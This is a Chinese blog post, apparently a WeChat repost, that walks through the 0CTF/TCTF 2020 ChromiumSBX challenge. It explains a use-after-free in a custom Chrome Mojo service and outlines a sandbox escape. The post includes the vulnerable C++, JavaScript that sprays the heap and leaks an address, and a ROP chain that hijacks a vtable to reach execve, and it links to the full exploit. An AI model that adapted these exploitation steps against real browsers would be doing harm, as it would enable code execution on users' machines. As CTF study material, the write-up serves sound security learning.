初探Chrome沙箱逃逸

  • A+
所属分类:安全文章






点击上方“蓝字”,学习更多hacker小技巧!


初探Chrome沙箱逃逸

1


Background


初探Chrome沙箱逃逸
Chrome Security Architecture

众所周知沙箱是Chrome重要的安全机制,有沙箱就意味着v8、音视频解码等等渲染层的漏洞不能直接打到host上,所以我们想要pwn Chrome至少要两个漏洞,沙箱进程的rce和沙箱逃逸。

初探Chrome沙箱逃逸
Chrome安全架构如下



初探Chrome沙箱逃逸

初探Chrome沙箱逃逸
Mojo

Mojo是Chrome新的IPC机制,从Mojo文档中可以看到,Mojo is a collection of runtime libraries providing a platform-agnostic abstraction of common IPC primitives, a message IDL format, and a bindings library with code generation for multiple target languages to facilitate convenient message passing across arbitrary inter- and intra-process boundaries. 目前来看无论是CTF还是Real World中,利用Mojo进行Chrome沙箱逃逸都很常见。




2


0CTF/TCTF2020 Quals ChromiumSBX

初探Chrome沙箱逃逸

来看这个例子。这是0ctf/tctf 2020 quals的一道浏览器题,通过diff可以看到增加了一个新的mojo service,代码很好理解,是一个storage service。

初探Chrome沙箱逃逸
漏洞点


通过审计可以发现如下问题:

void TStorageImpl::Init(InitCallback callback) {    inner_db_ = std::make_unique<InnerDbImpl>();    // Init will release the previous inner_db pointer    std::move(callback).Run();}
void TStorageImpl::CreateInstance(CreateInstanceCallback callback) { mojo::PendingRemote<blink::mojom::TInstance> instance; mojo::MakeSelfOwnedReceiver(std::make_unique<content::TInstanceImpl>(inner_db_.get()), instance.InitWithNewPipeAndPassReceiver()); // so inner_db_.get() pointer obtained previously will be freed // which is UAF std::move(callback).Run(std::move(instance));}

TStorageImpl::CreateInstance会使用inner_db_.get()将存储在inner_db_内部的指针传递到TInstanceImpl的构造函数中,新的TInstanceImpl实例会将指针存储到其字段中;但是观察TStorageImpl::Init是可以被多次调用的,每次调用它会把前一个对象释放,但前一个对象已经被TInstanceImpl存储,会造成UAF。

初探Chrome沙箱逃逸
利用思路


1.堆喷占位

漏洞点是一个比较好触发的UAF,首先想到的是去占位,通过调试可以发现InnerDbImpl的大小是0x678,观察一下我们可以控制大小的对象,看到了base::queue<uint64_t> queue_,它是stl的容器,通过push和pop可以控制其大小,具体把大小调整到0x678的方法见成功2019的博客,写的很成功我不啰嗦了。

成功2019的博客:
初探Chrome沙箱逃逸

https://mem2019.github.io/jekyll/update/2020/07/03/TCTF-Chromium-SBX.html


2.泄露堆地址

为了劫持虚表,我们需要泄露堆地址。我们可以用我们占位成功那个对象来泄露UAF对象的base::queue指针。

// tInsPtr here is the UAF objectconst idx = (await tInsPtr.getInt()).value;print(idx); // get which one is occupying the UAF objectfor (let i = 0; i < 201; i++)await tInsPtrSprays[idx].pop();const heapAddr = (await tInsPtrSprays[idx].pop()).value;// pop element to leak the address of heap// now 0x678 is freed again due to poping elementsprint(hex(heapAddr));


3.代码执行:

基本条件都有了,开始构造rop劫持虚表,参考Plaid CTF mojo题的exp:

await tInsPtr.push(libcAddr + 0x52bc8);  // pop rbp; pop rbx; ret;await tInsPtr.push(0);           // let queue to have some elementawait tInsPtr.push(textAddr + 0x3fa5114); // xchg rsp,rax, as virtual tableawait tInsPtr.push(libcAddr + 0x2cb49);  // pop rbx; ret;await tInsPtr.push(libcAddr + 0xe4e30);  // execveawait tInsPtr.push(libcAddr + 0x1b96);  // pop rdx; ret;await tInsPtr.push(0);           // rdx = 0await tInsPtr.push(libcAddr + 0xd1ba7);  // lea rdi, [rsp + 0xb0]; mov rsi, rbp; call rbx
初探Chrome沙箱逃逸
完整exploit



成功2019的exp
初探Chrome沙箱逃逸

https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/T20ChromeSBX.html


Conclusion

上述基本是一道mojo沙箱逃逸的典型例题,手法和思想都比较经典。解题基本参照2019的思路来的,Perfect Blue这里也有很详细的writeup。


Perfect Blue的博客
初探Chrome沙箱逃逸

https://blog.perfect.blue/Chromium-Fullchain

另外关于Mojo还有一个很经典的漏洞是Issue 1062091,后续文章可能会分析。

除了Mojo,Android Binder的CVE-2020-0041,Windows内核的CVE-2020-0981等这种也可以被用来逃逸Chrome沙箱。


3


参考链接

初探Chrome沙箱逃逸

https://theori.io/research/escaping-chrome-sandbox/

https://mem2019.github.io/jekyll/update/2020/07/03/TCTF-Chromium-SBX.html

https://gist.github.com/ujin5/5b9a2ce2ffaf8f4222fe7381f792cb38

https://docs.google.com/drawings/d/1TuECFL9K7J5q5UePJLC-YH3satvb1RrjLRH-tW_VKeE/edit


END



请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!



关注此公众号,各种福利领不停,轻轻松松学习hacker技术!

在看你就赞赞我!
初探Chrome沙箱逃逸

初探Chrome沙箱逃逸
初探Chrome沙箱逃逸
初探Chrome沙箱逃逸
扫码关注我们
初探Chrome沙箱逃逸


扫码领hacker资料,常用工具,以及各种福利


初探Chrome沙箱逃逸

转载是一种动力 分享是一种美德






发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: